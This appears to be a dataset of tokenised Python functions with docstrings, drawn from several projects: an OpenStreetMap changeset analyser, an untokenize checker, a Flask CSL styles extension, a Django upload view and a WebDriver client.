{"signature": "def get_metadata(changeset):", "body": "url = '<STR_LIT>'.format(changeset)<EOL>return ET.fromstring(requests.get(url).content).getchildren()[<NUM_LIT:0>]<EOL>", "docstring": "Get the metadata of a changeset using the OSM API and return it as a XML\n    ElementTree.\n\n    Args:\n        changeset: the id of the changeset.", "id": "f4379:m3"}
{"signature": "def get_bounds(changeset):", "body": "try:<EOL><INDENT>return Polygon([<EOL>(float(changeset.get('<STR_LIT>')), float(changeset.get('<STR_LIT>'))),<EOL>(float(changeset.get('<STR_LIT>')), float(changeset.get('<STR_LIT>'))),<EOL>(float(changeset.get('<STR_LIT>')), float(changeset.get('<STR_LIT>'))),<EOL>(float(changeset.get('<STR_LIT>')), float(changeset.get('<STR_LIT>'))),<EOL>(float(changeset.get('<STR_LIT>')), float(changeset.get('<STR_LIT>'))),<EOL>])<EOL><DEDENT>except TypeError:<EOL><INDENT>return Polygon()<EOL><DEDENT>", "docstring": "Get the bounds of the changeset and return it as a Polygon object. If\n    the changeset has not coordinates (case of the changesets that deal only\n    with relations), it returns an empty Polygon.\n\n    Args:\n        changeset: the XML string of the changeset.", "id": "f4379:m4"}
{"signature": "def make_regex(words):", "body": "return r'<STR_LIT:|>'.join(<EOL>[\"<STR_LIT>\".format(word=word) for word in words]<EOL>)<EOL>", "docstring": "Concatenate a list of words in a regular expression. The regex is made to\n    check if a text has words that starts with any word in the list.\n\n    Args:\n        words: a list or tuple of strings,", "id": "f4379:m5"}
{"signature": "def find_words(text, suspect_words, excluded_words=[]):", "body": "text = text.lower()<EOL>suspect_found = [i for i in re.finditer(make_regex(suspect_words), text)]<EOL>if len(excluded_words) > <NUM_LIT:0>:<EOL><INDENT>excluded_found = [i for i in re.finditer(make_regex(excluded_words), text)]<EOL>if len(suspect_found) > len(excluded_found):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(suspect_found) > <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Check if a text has some of the suspect words (or words that starts with\n    one of the suspect words). You can set some words to be excluded of the\n    search, so you can remove false positives like 'important' be detected when\n    you search by 'import'. It will return True if the number of suspect words\n    found is greater than the number of excluded words. Otherwise, it will\n    return False.\n\n    Args:\n        text (str): a string with the text to be analysed. It will be converted\n            to lowercase.\n        suspect_words: a list of strings that you want to check the presence in\n            the text.\n        excluded_words: a list of strings to be whitelisted.", "id": "f4379:m6"}
{"signature": "def __init__(self, changeset_file, geojson=None):", "body": "self.read_file(changeset_file)<EOL>if geojson:<EOL><INDENT>self.get_area(geojson)<EOL>self.filter()<EOL><DEDENT>else:<EOL><INDENT>self.content = self.xml.getchildren()<EOL><DEDENT>self.changesets = [changeset_info(ch) for ch in self.content]<EOL>", "docstring": "Read the changeset replication file, filter it you define a polygon\n        with your area of interest in a geojson file and define the .changesets\n        with the data of all changesets included in the replication file.\n\n        Args:\n            changeset_file (str): it can be the URL of a replication file in\n                https://planet.openstreetmap.org/replication/changesets/ or the\n                path to a local replication file.\n            geojson (str): path to a local geojson file containing a polygon.\n                The area of the polygon will be used to filter the changesets,\n                returning only the ones that intersect with it.", "id": "f4379:c1:m0"}
{"signature": "def read_file(self, changeset_file):", "body": "if isfile(changeset_file):<EOL><INDENT>self.filename = changeset_file<EOL><DEDENT>else:<EOL><INDENT>self.path = mkdtemp()<EOL>self.filename = join(self.path, basename(changeset_file))<EOL>download(changeset_file, self.path)<EOL><DEDENT>self.xml = ET.fromstring(gzip.open(self.filename).read())<EOL>if not isfile(changeset_file):<EOL><INDENT>rmtree(self.path)<EOL><DEDENT>", "docstring": "Download the replication changeset file or read it directly from the\n        filesystem (to test purposes).", "id": "f4379:c1:m1"}
{"signature": "def get_area(self, geojson):", "body": "geojson = json.load(open(geojson, '<STR_LIT:r>'))<EOL>self.area = Polygon(geojson['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>])<EOL>", "docstring": "Read the first feature from the geojson and return it as a Polygon\n        object.", "id": "f4379:c1:m2"}
{"signature": "def filter(self):", "body": "self.content = [<EOL>ch<EOL>for ch in self.xml.getchildren()<EOL>if get_bounds(ch).intersects(self.area)<EOL>]<EOL>", "docstring": "Filter the changesets that intersects with the geojson geometry.", "id": "f4379:c1:m3"}
{"signature": "def set_fields(self, changeset):", "body": "self.id = int(changeset.get('<STR_LIT:id>'))<EOL>self.user = changeset.get('<STR_LIT:user>')<EOL>self.uid = changeset.get('<STR_LIT>')<EOL>self.editor = changeset.get('<STR_LIT>', None)<EOL>self.review_requested = changeset.get('<STR_LIT>', False)<EOL>self.host = changeset.get('<STR_LIT:host>', '<STR_LIT>')<EOL>self.bbox = changeset.get('<STR_LIT>').wkt<EOL>self.comment = changeset.get('<STR_LIT>', '<STR_LIT>')<EOL>self.source = changeset.get('<STR_LIT:source>', '<STR_LIT>')<EOL>self.imagery_used = changeset.get('<STR_LIT>', '<STR_LIT>')<EOL>self.date = datetime.strptime(<EOL>changeset.get('<STR_LIT>'),<EOL>'<STR_LIT>'<EOL>)<EOL>self.suspicion_reasons = []<EOL>self.is_suspect = False<EOL>self.powerfull_editor = False<EOL>", "docstring": "Set the fields of this class with the metadata of the analysed\n        changeset.", "id": "f4379:c2:m1"}
{"signature": "def label_suspicious(self, reason):", "body": "self.suspicion_reasons.append(reason)<EOL>self.is_suspect = True<EOL>", "docstring": "Add suspicion reason and set the suspicious flag.", "id": "f4379:c2:m2"}
{"signature": "def full_analysis(self):", "body": "self.count()<EOL>self.verify_words()<EOL>self.verify_user()<EOL>if self.review_requested == '<STR_LIT:yes>':<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT>", "docstring": "Execute the count and verify_words methods.", "id": "f4379:c2:m3"}
{"signature": "def verify_user(self):", "body": "user_reasons = get_user_details(self.uid)<EOL>[self.label_suspicious(reason) for reason in user_reasons]<EOL>", "docstring": "Verify if the changeset was made by a inexperienced mapper (anyone\n        with less than 5 edits) or by a user that was blocked more than once.", "id": "f4379:c2:m4"}
{"signature": "def verify_words(self):", "body": "if self.comment:<EOL><INDENT>if find_words(self.comment, self.suspect_words, self.excluded_words):<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT><DEDENT>if self.source:<EOL><INDENT>for word in self.illegal_sources:<EOL><INDENT>if word in self.source.lower():<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if self.imagery_used:<EOL><INDENT>for word in self.illegal_sources:<EOL><INDENT>if word in self.imagery_used.lower():<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self.suspicion_reasons = list(set(self.suspicion_reasons))<EOL>", "docstring": "Verify the fields source, imagery_used and comment of the changeset\n        for some suspect words.", "id": "f4379:c2:m5"}
{"signature": "def verify_editor(self):", "body": "powerful_editors = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>if self.editor is not None:<EOL><INDENT>for editor in powerful_editors:<EOL><INDENT>if editor in self.editor.lower():<EOL><INDENT>self.powerfull_editor = True<EOL>break<EOL><DEDENT><DEDENT>if '<STR_LIT>' in self.editor:<EOL><INDENT>trusted_hosts = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>if self.host.split('<STR_LIT>')[-<NUM_LIT:1>].strip('<STR_LIT:/>') not in trusted_hosts:<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.powerfull_editor = True<EOL>self.label_suspicious('<STR_LIT>')<EOL><DEDENT>", "docstring": "Verify if the software used in the changeset is a powerfull_editor.", "id": "f4379:c2:m6"}
{"signature": "def count(self):", "body": "xml = get_changeset(self.id)<EOL>actions = [action.tag for action in xml.getchildren()]<EOL>self.create = actions.count('<STR_LIT>')<EOL>self.modify = actions.count('<STR_LIT>')<EOL>self.delete = actions.count('<STR_LIT>')<EOL>self.verify_editor()<EOL>try:<EOL><INDENT>if (self.create / len(actions) > self.percentage and<EOL>self.create > self.create_threshold and<EOL>(self.powerfull_editor or self.create > self.top_threshold)):<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT>elif (self.modify / len(actions) > self.percentage and<EOL>self.modify > self.modify_threshold):<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT>elif ((self.delete / len(actions) > self.percentage and<EOL>self.delete > self.delete_threshold) or<EOL>self.delete > self.top_threshold):<EOL><INDENT>self.label_suspicious('<STR_LIT>')<EOL><DEDENT><DEDENT>except ZeroDivisionError:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>", "docstring": "Count the number of elements created, modified and deleted by the\n        changeset and analyses if it is a possible import, mass modification or\n        a mass deletion.", "id": "f4379:c2:m7"}
{"signature": "@click.command('<STR_LIT>')<EOL>@click.argument('<STR_LIT:id>', type=int, metavar='<STR_LIT>')<EOL>def cli(id):", "body": "ch = Analyse(id)<EOL>ch.full_analysis()<EOL>click.echo(<EOL>'<STR_LIT>' % (ch.create, ch.modify, ch.delete)<EOL>)<EOL>if ch.is_suspect:<EOL><INDENT>click.echo('<STR_LIT>'.format(<EOL>id,<EOL>'<STR_LIT:U+002CU+0020>'.join(ch.suspicion_reasons)<EOL>))<EOL><DEDENT>else:<EOL><INDENT>click.echo('<STR_LIT>' % id)<EOL><DEDENT>", "docstring": "Analyse an OpenStreetMap changeset.", "id": "f4381:m0"}
{"signature": "def open_with_encoding(filename, encoding, mode='<STR_LIT:r>'):", "body": "return io.open(filename, mode=mode, encoding=encoding,<EOL>newline='<STR_LIT>')<EOL>", "docstring": "Return opened file with a specific encoding.", "id": "f4385:m0"}
{"signature": "def detect_encoding(filename):", "body": "try:<EOL><INDENT>with open(filename, '<STR_LIT:rb>') as input_file:<EOL><INDENT>from lib2to3.pgen2 import tokenize as lib2to3_tokenize<EOL>encoding = lib2to3_tokenize.detect_encoding(input_file.readline)[<NUM_LIT:0>]<EOL>with open_with_encoding(filename, encoding) as input_file:<EOL><INDENT>input_file.read()<EOL><DEDENT><DEDENT>return encoding<EOL><DEDENT>except (SyntaxError, LookupError, UnicodeDecodeError):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Return file encoding.", "id": "f4385:m1"}
{"signature": "def diff(before, after):", "body": "import difflib<EOL>return '<STR_LIT>'.join(difflib.unified_diff(<EOL>before.splitlines(True),<EOL>after.splitlines(True),<EOL>lineterm='<STR_LIT:\\n>'))<EOL>", "docstring": "Return diff of two files.", "id": "f4385:m2"}
{"signature": "def run(filename):", "body": "with open_with_encoding(filename,<EOL>encoding=detect_encoding(filename)) as input_file:<EOL><INDENT>source_code = input_file.read()<EOL>if source_code.endswith(('<STR_LIT:U+0020>', '<STR_LIT:\\t>')):<EOL><INDENT>source_code = source_code.rstrip()<EOL><DEDENT>string_io = io.StringIO(source_code)<EOL>generated = untokenize.untokenize(<EOL>tokenize.generate_tokens(string_io.readline))<EOL>if source_code == generated:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' + filename,<EOL>file=sys.stderr)<EOL>print(diff(source_code, generated),<EOL>file=sys.stderr)<EOL><DEDENT><DEDENT>", "docstring": "Check untokenize with file.\n\n    Return True on success.", "id": "f4385:m3"}
{"signature": "def process_args():", "body": "import argparse<EOL>parser = argparse.ArgumentParser()<EOL>parser.add_argument('<STR_LIT>', nargs='<STR_LIT:*>', help='<STR_LIT>')<EOL>return parser.parse_args()<EOL>", "docstring": "Return processed arguments (options and positional arguments).", "id": "f4385:m4"}
{"signature": "def check(args):", "body": "if args.files:<EOL><INDENT>dir_paths = args.files<EOL><DEDENT>else:<EOL><INDENT>dir_paths = [path for path in sys.path<EOL>if os.path.isdir(path)]<EOL><DEDENT>filenames = dir_paths<EOL>completed_filenames = set()<EOL>while filenames:<EOL><INDENT>try:<EOL><INDENT>name = os.path.realpath(filenames.pop(<NUM_LIT:0>))<EOL>if not os.path.exists(name):<EOL><INDENT>continue<EOL><DEDENT>if name in completed_filenames:<EOL><INDENT>print('<STR_LIT>' + name,<EOL>file=sys.stderr)<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>completed_filenames.update(name)<EOL><DEDENT>if os.path.isdir(name):<EOL><INDENT>for root, directories, children in os.walk(unicode(name)):<EOL><INDENT>filenames += [os.path.join(root, f) for f in children<EOL>if f.endswith('<STR_LIT>') and<EOL>not f.startswith('<STR_LIT:.>')]<EOL>directories[:] = [d for d in directories<EOL>if not d.startswith('<STR_LIT:.>')]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' + name,<EOL>file=sys.stderr)<EOL>if not run(os.path.join(name)):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>except (IndentationError,<EOL>tokenize.TokenError,<EOL>UnicodeDecodeError,<EOL>UnicodeEncodeError) as exception:<EOL><INDENT>print('<STR_LIT>'.format(name, exception),<EOL>file=sys.stderr)<EOL>continue<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Run test recursively on directory of files.\n\n    Return False if the fix results in broken syntax.", "id": "f4385:m5"}
{"signature": "def main():", "body": "return <NUM_LIT:0> if check(process_args()) else <NUM_LIT:1><EOL>", "docstring": "Run main.", "id": "f4385:m6"}
{"signature": "def version():", "body": "with open('<STR_LIT>') as input_file:<EOL><INDENT>for line in input_file:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>return ast.parse(line).body[<NUM_LIT:0>].value.s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Return version string.", "id": "f4387:m0"}
{"signature": "def untokenize(tokens):", "body": "text = '<STR_LIT>'<EOL>previous_line = '<STR_LIT>'<EOL>last_row = <NUM_LIT:0><EOL>last_column = -<NUM_LIT:1><EOL>last_non_whitespace_token_type = None<EOL>for (token_type, token_string, start, end, line) in tokens:<EOL><INDENT>if TOKENIZE_HAS_ENCODING and token_type == tokenize.ENCODING:<EOL><INDENT>continue<EOL><DEDENT>(start_row, start_column) = start<EOL>(end_row, end_column) = end<EOL>if (<EOL>last_non_whitespace_token_type != tokenize.COMMENT and<EOL>start_row > last_row and<EOL>previous_line.endswith(('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>):<EOL><INDENT>text += previous_line[len(previous_line.rstrip('<STR_LIT>')):]<EOL><DEDENT>if start_row > last_row:<EOL><INDENT>last_column = <NUM_LIT:0><EOL><DEDENT>if start_column > last_column:<EOL><INDENT>text += line[last_column:start_column]<EOL><DEDENT>text += token_string<EOL>previous_line = line<EOL>last_row = end_row<EOL>last_column = end_column<EOL>if token_type not in WHITESPACE_TOKENS:<EOL><INDENT>last_non_whitespace_token_type = token_type<EOL><DEDENT><DEDENT>return text<EOL>", "docstring": "Return source code based on tokens.\n\n    This is like tokenize.untokenize(), but it preserves spacing between\n    tokens. So if the original soure code had multiple spaces between\n    some tokens or if escaped newlines were used, those things will be\n    reflected by untokenize().", "id": "f4388:m0"}
{"signature": "def get(self, q=None, page=None):", "body": "<EOL>etag = generate_etag(current_ext.content_version.encode('<STR_LIT:utf8>'))<EOL>self.check_etag(etag, weak=True)<EOL>res = jsonify(current_ext.styles)<EOL>res.set_etag(etag)<EOL>return res<EOL>", "docstring": "Get styles.", "id": "f4394:c0:m0"}
{"signature": "@cached_property<EOL><INDENT>def styles(self):<DEDENT>", "body": "styles = get_all_styles()<EOL>whitelist = self.app.config.get('<STR_LIT>')<EOL>if whitelist:<EOL><INDENT>return {k: v for k, v in styles.items() if k in whitelist}<EOL><DEDENT>return styles<EOL>", "docstring": "Get a dictionary of CSL styles.", "id": "f4395:c0:m1"}
{"signature": "@cached_property<EOL><INDENT>def content_version(self):<DEDENT>", "body": "return u\"<STR_LIT::>\".join((rest_api_version, styles_version))<EOL>", "docstring": "Get the version of the content of this extension.\n\n        Note: The ETags of responses that are being produced by the REST API,\n        are based on this string, since the `citeproc-py-styles` package, holds\n        static files that are only updated whenever a new version is released.\n        In combination with the package version, we get a unique identifier for\n        the content that is being served.", "id": "f4395:c0:m2"}
{"signature": "def __init__(self, app=None):", "body": "if app:<EOL><INDENT>self._state = self.init_app(app)<EOL><DEDENT>", "docstring": "Extension initialization.", "id": "f4395:c1:m0"}
{"signature": "def init_app(self, app):", "body": "state = _InvenioCSLRESTState(app)<EOL>app.extensions['<STR_LIT>'] = state<EOL>return state<EOL>", "docstring": "Flask application initialization.", "id": "f4395:c1:m1"}
{"signature": "def __getattr__(self, name):", "body": "return getattr(self._state, name, None)<EOL>", "docstring": "Proxy to state object.", "id": "f4395:c1:m2"}
{"signature": "def get(self, request, hash, filename):", "body": "if _ws_download is True:<EOL><INDENT>return HttpResponseForbidden()<EOL><DEDENT>upload = Upload.objects.uploaded().get(hash=hash, name=filename)<EOL>return FileResponse(upload.file, content_type=upload.type)<EOL>", "docstring": "Download a file.", "id": "f4404:c2:m0"}
{"signature": "def get_config(jid):", "body": "acls = getattr(settings, '<STR_LIT>', (('<STR_LIT>', False), ))<EOL>for regex, config in acls:<EOL><INDENT>if isinstance(regex, six.string_types):<EOL><INDENT>regex = [regex]<EOL><DEDENT>for subex in regex:<EOL><INDENT>if re.search(subex, jid):<EOL><INDENT>return config<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Get the configuration for the given JID based on XMPP_HTTP_UPLOAD_ACCESS.\n\n    If the JID does not match any rule, ``False`` is returned.", "id": "f4411:m0"}
{"signature": "def __init__(self, desired_capabilities, url='<STR_LIT>'):", "body": "self.session_id = None<EOL>self.capabilities = None<EOL>self.desired_capabilities = desired_capabilities<EOL>self.remote_invoker = RemoteInvoker(url)<EOL>", "docstring": "Initialize the WebDriver\n\n        Args:\n            desired_capabilities(dict): The desired capabilities requested by\n                the local end.\n            url(str): The url of remote server, default: localhost:3456/wd/hub.", "id": "f4426:c0:m0"}
{"signature": "def _execute(self, command, data=None, unpack=True):", "body": "if not data:<EOL><INDENT>data = {}<EOL><DEDENT>if self.session_id is not None:<EOL><INDENT>data.setdefault('<STR_LIT>', self.session_id)<EOL><DEDENT>data = self._wrap_el(data)<EOL>res = self.remote_invoker.execute(command, data)<EOL>ret = WebDriverResult.from_object(res)<EOL>ret.raise_for_status()<EOL>ret.value = self._unwrap_el(ret.value)<EOL>if not unpack:<EOL><INDENT>return ret<EOL><DEDENT>return ret.value<EOL>", "docstring": "Private method to execute command.\n\n        Args:\n            command(Command): The defined command.\n            data(dict): The uri variable and body.\n            uppack(bool): If unpack value from result.\n\n        Returns:\n            The unwrapped value field in the json response.", "id": "f4426:c0:m2"}
{"signature": "def _unwrap_el(self, value):", "body": "if isinstance(value, dict) and '<STR_LIT>' in value:<EOL><INDENT>element_id = value.get('<STR_LIT>')<EOL>return WebElement(element_id, self)<EOL><DEDENT>elif isinstance(value, list) and not isinstance(value, str):<EOL><INDENT>return [self._unwrap_el(item) for item in value]<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Convert {'Element': 1234} to WebElement Object\n\n        Args:\n            value(str|list|dict): The value field in the json response.\n\n        Returns:\n            The unwrapped value.", "id": "f4426:c0:m3"}
{"signature": "def _wrap_el(self, value):", "body": "if isinstance(value, dict):<EOL><INDENT>return {k: self._wrap_el(v) for k, v in value.items()}<EOL><DEDENT>elif isinstance(value, WebElement):<EOL><INDENT>return {'<STR_LIT>': value.element_id}<EOL><DEDENT>elif isinstance(value, list) and not isinstance(value, str):<EOL><INDENT>return [self._wrap_el(item) for item in value]<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Convert WebElement Object to {'Element': 1234}\n\n        Args:\n            value(str|list|dict): The local value.\n\n        Returns:\n            The wrapped value.", "id": "f4426:c0:m4"}
{"signature": "@property<EOL><INDENT>def sessions(self):<DEDENT>", "body": "return self._execute(Command.GET_ALL_SESSIONS)<EOL>", "docstring": "Gets all the sessions of the webdriver server.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            Return the URL of the current page.", "id": "f4426:c0:m5"}
{"signature": "@fluent<EOL><INDENT>def attach(self, session_id):<DEDENT>", "body": "self.session_id = session_id<EOL>", "docstring": "Attach to given Session.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            session_id(str): The given session ID\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m6"}
{"signature": "@fluent<EOL><INDENT>def init(self):<DEDENT>", "body": "resp = self._execute(Command.NEW_SESSION, {<EOL>'<STR_LIT>': self.desired_capabilities<EOL>}, False)<EOL>resp.raise_for_status()<EOL>self.session_id = str(resp.session_id)<EOL>self.capabilities = resp.value<EOL>", "docstring": "Create Session by desiredCapabilities\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m7"}
{"signature": "@fluent<EOL><INDENT>def quit(self):<DEDENT>", "body": "self._execute(Command.QUIT)<EOL>", "docstring": "Quit the driver.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m8"}
{"signature": "@fluent<EOL><INDENT>def get(self, url):<DEDENT>", "body": "self._execute(Command.GET, {'<STR_LIT:url>': url})<EOL>", "docstring": "Loads a web page in the current browser session.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            url(str): The URL to navigate to.\n\n        Returns:\n            WebDriver Object.\n\n        Raises:\n            WebDriverException.", "id": "f4426:c0:m9"}
{"signature": "@property<EOL><INDENT>def current_url(self):<DEDENT>", "body": "return self._execute(Command.GET_CURRENT_URL)<EOL>", "docstring": "Gets the URL of the current page.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            Return the URL of the current page.", "id": "f4426:c0:m10"}
{"signature": "@fluent<EOL><INDENT>def back(self):<DEDENT>", "body": "self._execute(Command.GO_BACK)<EOL>", "docstring": "Back.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m11"}
{"signature": "@fluent<EOL><INDENT>def forward(self):<DEDENT>", "body": "self._execute(Command.GO_FORWARD)<EOL>", "docstring": "Forward.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m12"}
{"signature": "@fluent<EOL><INDENT>def refresh(self):<DEDENT>", "body": "self._execute(Command.REFRESH)<EOL>", "docstring": "Refresh.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m13"}
{"signature": "@property<EOL><INDENT>def title(self):<DEDENT>", "body": "return self._execute(Command.GET_TITLE)<EOL>", "docstring": "Get the current page title.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m14"}
{"signature": "@property<EOL><INDENT>def current_window_handle(self):<DEDENT>", "body": "return self._execute(Command.GET_CURRENT_WINDOW_HANDLE)<EOL>", "docstring": "Returns the handle of the current window.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m15"}
{"signature": "@fluent<EOL><INDENT>def close(self):<DEDENT>", "body": "self._execute(Command.CLOSE)<EOL>", "docstring": "Closes the current window.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m16"}
{"signature": "@fluent<EOL><INDENT>def switch_to_window(self, window_name):<DEDENT>", "body": "data = {<EOL>'<STR_LIT:name>': window_name<EOL>}<EOL>self._execute(Command.SWITCH_TO_WINDOW, data)<EOL>", "docstring": "Switch to the given window.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            window_name(str): The window to change focus to.\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m17"}
{"signature": "@property<EOL><INDENT>def window_handles(self):<DEDENT>", "body": "return self._execute(Command.GET_WINDOW_HANDLES)<EOL>", "docstring": "Returns the handles of all windows within the current session.\n\n        Support:\n            Web(WebView)", "id": "f4426:c0:m18"}
{"signature": "@fluent<EOL><INDENT>def maximize_window(self):<DEDENT>", "body": "self._execute(Command.MAXIMIZE_WINDOW,<EOL>{\"<STR_LIT>\": \"<STR_LIT>\"})<EOL>", "docstring": "Maximizes the current window.\n\n        Support:\n            Web(WebView)\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m19"}
{"signature": "@fluent<EOL><INDENT>def set_window_size(self, width, height, window_handle='<STR_LIT>'):<DEDENT>", "body": "self._execute(Command.SET_WINDOW_SIZE, {<EOL>'<STR_LIT:width>': int(width),<EOL>'<STR_LIT>': int(height),<EOL>'<STR_LIT>': window_handle})<EOL>", "docstring": "Sets the width and height of the current window.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            width(int): the width in pixels.\n            height(int): the height in pixels.\n            window_handle(str): Identifier of window_handle,\n                default to 'current'.\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m20"}
{"signature": "def get_window_size(self, window_handle='<STR_LIT>'):", "body": "return self._execute(Command.GET_WINDOW_SIZE,<EOL>{'<STR_LIT>': window_handle})<EOL>", "docstring": "Gets the width and height of the current window.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            window_handle(str): Identifier of window_handle,\n                default to 'current'.\n\n        Returns:\n            A dict contains width and height", "id": "f4426:c0:m21"}
{"signature": "@fluent<EOL><INDENT>def set_window_position(self, x, y, window_handle='<STR_LIT>'):<DEDENT>", "body": "self._execute(Command.SET_WINDOW_POSITION, {<EOL>'<STR_LIT:x>': int(x),<EOL>'<STR_LIT:y>': int(y),<EOL>'<STR_LIT>': window_handle})<EOL>", "docstring": "Sets the x,y position of the current window.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            x(int): the x-coordinate in pixels.\n            y(int): the y-coordinate in pixels.\n            window_handle(str): Identifier of window_handle,\n                default to 'current'.\n\n        Returns:\n            WebDriver Object.", "id": "f4426:c0:m22"}
{"signature": "def get_window_position(self, window_handle='<STR_LIT>'):", "body": "return self._execute(Command.GET_WINDOW_POSITION, {<EOL>'<STR_LIT>': window_handle})<EOL>", "docstring": "Gets the x,y position of the current window.\n\n        Support:\n            Web(WebView)\n\n        Args:\n            window_handle(str): Identifier of window_handle,\n                default to 'current'.\n\n        Usage:\n            driver.get_window_position()", "id": "f4426:c0:m23"}
{"signature": "@property<EOL><INDENT>def context(self):<DEDENT>", "body": "return self._execute(Command.CURRENT_CONTEXT_HANDLE)<EOL>", "docstring": "returns the current context (Native or WebView).\n\n        Support:\n            Android iOS", "id": "f4426:c0:m24"}
{"signature": "@property<EOL><INDENT>def contexts(self):<DEDENT>", "body": "return self._execute(Command.CONTEXT_HANDLES)<EOL>", "docstring": "returns a list of available contexts\n\n        Support:\n            Android iOS", "id": "f4426:c0:m25"}
{"signature": "@context.setter<EOL><INDENT>def context(self, new_context):<DEDENT>", "body": "self._execute(Command.SWITCH_TO_CONTEXT, {\"<STR_LIT:name>\": new_context})<EOL>", "docstring": "sets the current context\n\n        Support:\n            Android iOS", "id": "f4426:c0:m26"}
{"signature": "@fluent<EOL><INDENT>def move_to(self, element, x=<NUM_LIT:0>, y=<NUM_LIT:0>):<DEDENT>", "body": "self._execute(Command.MOVE_TO, {<EOL>'<STR_LIT>': element.element_id,<EOL>'<STR_LIT:x>': x,<EOL>'<STR_LIT:y>': y<EOL>})<EOL>", "docstring": "Deprecated use element.touch('drag', { toX, toY, duration(s) }) instead.\n            Move the mouse by an offset of the specificed element.\n\n        Support:\n            Android\n\n        Args:\n            element(WebElement): WebElement Object.\n            x(float): X offset to move to, relative to the\n                      top-left corner of the element.\n            y(float): Y offset to move to, relative to the\n                      top-left corner of the element.\n\n        Returns:\n            WebDriver object.", "id": "f4426:c0:m27"}
{"signature": "@fluent<EOL><INDENT>def flick(self, element, x, y, speed):<DEDENT>", "body": "self._execute(Command.FLICK, {<EOL>'<STR_LIT>': element.element_id,<EOL>'<STR_LIT:x>': x,<EOL>'<STR_LIT:y>': y,<EOL>'<STR_LIT>': speed<EOL>})<EOL>", "docstring": "Deprecated use touch('drag', { fromX, fromY, toX, toY, duration(s) }) instead.\n            Flick on the touch screen using finger motion events.\n            This flickcommand starts at a particulat screen location.\n\n\n        Support:\n            iOS\n\n        Args:\n            element(WebElement): WebElement Object where the flick starts.\n            x(float}: The x offset in pixels to flick by.\n            y(float): The y offset in pixels to flick by.\n            speed(float) The speed in pixels per seconds.\n\n        Returns:\n            WebDriver object.", "id": "f4426:c0:m28"}
{"signature": "@fluent<EOL><INDENT>def tap(self, element):<DEDENT>", "body": "self._execute(Command.SINGLE_TAP, {<EOL>'<STR_LIT>': element.element_id,<EOL>})<EOL>", "docstring": "Deprecated use element.touch('tap') instead.\n            Single tap on the touch enabled device.\n\n        Support:\n            Android iOS\n\n        Args:\n            element(WebElement): WebElement Object to single tap on.\n\n        Returns:\n            WebDriver object.", "id": "f4426:c0:m29"}
{"signature": "@fluent<EOL><INDENT>def keys(self, value):<DEDENT>", "body": "self._execute(Command.SEND_KEYS_TO_ACTIVE_ELEMENT, {<EOL>'<STR_LIT:value>': value_to_single_key_strokes(value)<EOL>})<EOL>", "docstring": "Send a sequence of key strokes.\n\n        Support:\n            Android iOS Web(WebView)\n\n        Args:\n            value(str|int|list): value can be a string,\n              int or a list contains defined Keys.", "id": "f4426:c0:m30"}
